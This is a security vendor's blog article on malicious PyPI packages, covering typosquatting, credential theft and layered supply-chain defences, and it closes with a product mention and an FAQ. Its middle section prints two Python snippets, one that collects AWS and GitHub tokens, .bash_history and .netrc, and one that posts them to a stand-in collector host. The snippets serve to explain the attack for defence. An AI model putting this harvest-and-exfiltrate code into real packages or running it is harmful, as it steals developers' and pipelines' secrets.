A developer runs pip install. Nothing crashes. No ransomware appears. No antivirus alert fires. Thirty seconds later, a Python process makes an outbound connection to infrastructure nobody on the team recognizes. Recent 2026 incidents show how quickly this can become a compromise. Malicious PyPI packages have been downloaded and executed by real systems, proving that developer workstations, CI pipelines, and security environments can themselves become targets. The Typosquatting Trick Typosquatting is an attack technique where an attacker creates a name that closely resembles a trusted one, hoping users or automated systems will overlook the difference. In software supply chains, this can mean registering a malicious package with a name similar to a popular PyPI dependency. For example: requests reqeusts One transposed letter can be enough. A developer may miss it in a pull request, and a CI pipeline will install it if the dependency name is not independently validated. Unlike a vulnerability in the legitimate package, package typosquatting targets the dependency-selection process itself. Common package typosquatting techniques include: The risk is especially high when developers install packages directly from public registries or when CI pipelines automatically resolve dependencies. A familiar-looking package name is not proof that the package is legitimate. For stronger protection, validate package names against approved dependencies, review new or unexpected packages, use lockfiles and hash verification, and route dependencies through a controlled internal registry where possible. PyPI Is a Registry, not a Security Guarantee PyPI is a public package registry, not a security-vetting service. Its role is to distribute Python packages; it does not independently verify that every package or release is free from malicious code before developers can install it. Python's packaging model also allows installation and builds processes to execute code, meaning a compromised package can become a security risk before an application ever imports it. The risk extends beyond fake packages and typosquatting. Attackers can compromise a maintainer account or publishing pipeline and release malicious code under the name of a legitimate, trusted project. That means a correct package name, a familiar publisher, or even a previously trusted version of history is not by itself proof of safety. Every package should be treated as untrusted until its integrity, provenance, and behavior have been verified. What the Malware Looks For Once malicious code executes on a developer workstation or CI runner, attackers can search for credentials and environment information. Common targets include: AWS credentials GitHub tokens CI/CD secrets SSH keys Private registry credentials Environment variables Shell history .netrc Cloud CLI configuration Kubernetes credentials For example: import os from pathlib import Path targets = {} for key in ( "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "GITHUB_TOKEN", ): if os.environ.get(key): targets[key] = os.environ[key] for filename in (".bash_history", ".netrc"): path = Path.home() / filename if path.exists(): targets[filename] = path.read_text(errors="ignore")[:4000] The attacker does not need direct access to production. A stolen GitHub token can provide repository access. A cloud credential can expose infrastructure. A package-registry token can enable further supply-chain attacks. The package has turned a dependency installation into an initial-access opportunity. Exfiltration Can Look Like Normal HTTPS The stolen data can then be sent to attacker-controlled infrastructure: A simplified example: import requests import socket requests.post( "https://example-collector.invalid/v1/events", json={ "host": socket.gethostname(), "data": targets }, timeout=5 ) HTTPS makes the traffic look ordinary at the network layer. A domain may even be designed to resemble a telemetry or analytics service. This is why software supply-chain security cannot rely exclusively on vulnerability databases. A newly created credential stealer may have no CVE, no security advisory, and no reputation history. Why Traditional Dependency Controls Are Not Enough Several controls help, but each addresses a different risk. Pin your dependencies For example: requests==2.32.4 Version pinning prevents unexpected upgrades, but it does not guarantee that the selected release is benign. Verify hashes For example: pip install --require-hashes -r requirements.txt Hash verification ensures that you receive the exact artifact you approved. It does not prove that the approved artifact itself is safe. Run vulnerability audits For example: pip-audit -r requirements.txt pip-audit can identify known vulnerabilities, but a brand-new malicious package may have no CVE at all. Use private registries A private registry can prevent developers and CI from directly pulling packages from the public internet. But simply mirroring PyPI does not solve the problem. If malicious packages are mirrored automatically, the organization has only moved the attack surface. The stronger approach is to inspect and approve packages before they enter the trusted dependency pool. A Safer PyPI Workflow A mature software supply-chain process should combine multiple controls: PyPI – Source of the Python package. Dependency verification – Confirm the package name, version, publisher, and dependency tree. Provenance + integrity checks – Verify the artifact’s origin, signatures, and hashes. Static malware analysis – Inspect the package for suspicious or malicious code. Sandbox / behavioral analysis – Safely execute suspicious packages and observe their behavior. Vulnerability scanning – Identify known vulnerabilities in the package and its dependencies. Approved internal registry – Store verified packages in a controlled private repository. CI/CD – Allow builds to consume only approved dependencies. Runtime + egress monitoring – Monitor package behavior, processes, and unexpected outbound connecti No single control is sufficient. The Most Important Control: Reduce What the Package Can Reach A malicious package is far less dangerous when it runs in an environment with: No production credentials Short-lived, least-privileged tokens Restricted network access No customer data Ephemeral build environments Process and network monitoring This matters especially for CI systems. Security scanners, build runners, and automated agents frequently install packages automatically. If those environments contain powerful credentials, a malicious dependency can turn the security or development pipeline into the attacker's entry point. The Real Problem Isn't pip install The command itself is harmless. The assumption behind it is not. When you run: pip install some-package you are trusting the package, its publisher, its release, its build process, and its dependencies. That is a much larger trust decision than most development teams realize. The answer is not to stop using PyPI or open source. It is to stop treating package installation as trusted by default. Verify what you install. Analyze what you cannot verify. Isolate what you execute. Monitor what it does. Restrict the credentials it can reach. For organizations that need continuous visibility into open-source dependencies, vulnerabilities, and software supply-chain exposure, Loginsoft's OSS Software Composition Analysis helps teams identify and manage risks across their open-source dependency landscape. FAQs 1. What is a malicious PyPI package? A malicious PyPI package is a Python dependency designed to perform harmful actions, such as stealing credentials, executing commands, or exfiltrating data. 2. How do attackers use PyPI typosquatting? Attackers publish packages with names that closely resemble legitimate dependencies, such as reqeusts instead of requests, hoping developers or CI pipelines will install them. 3. Can pip-audit detect malicious PyPI packages? pip-audit primarily identifies known vulnerabilities in dependencies. A newly created malicious package may have no CVE and can therefore evade traditional vulnerability scanning. 4. How can organizations protect against malicious PyPI packages? Use dependency pinning, hash verification, provenance checks, malware analysis, sandboxing, private registries, restricted CI credentials, and runtime network monitoring. 5. Why should PyPI packages be treated as untrusted code? Packages can contain installation or build-time code that executes before an application runs. Treating dependencies as untrusted helps prevent malicious packages from accessing credentials or internal systems.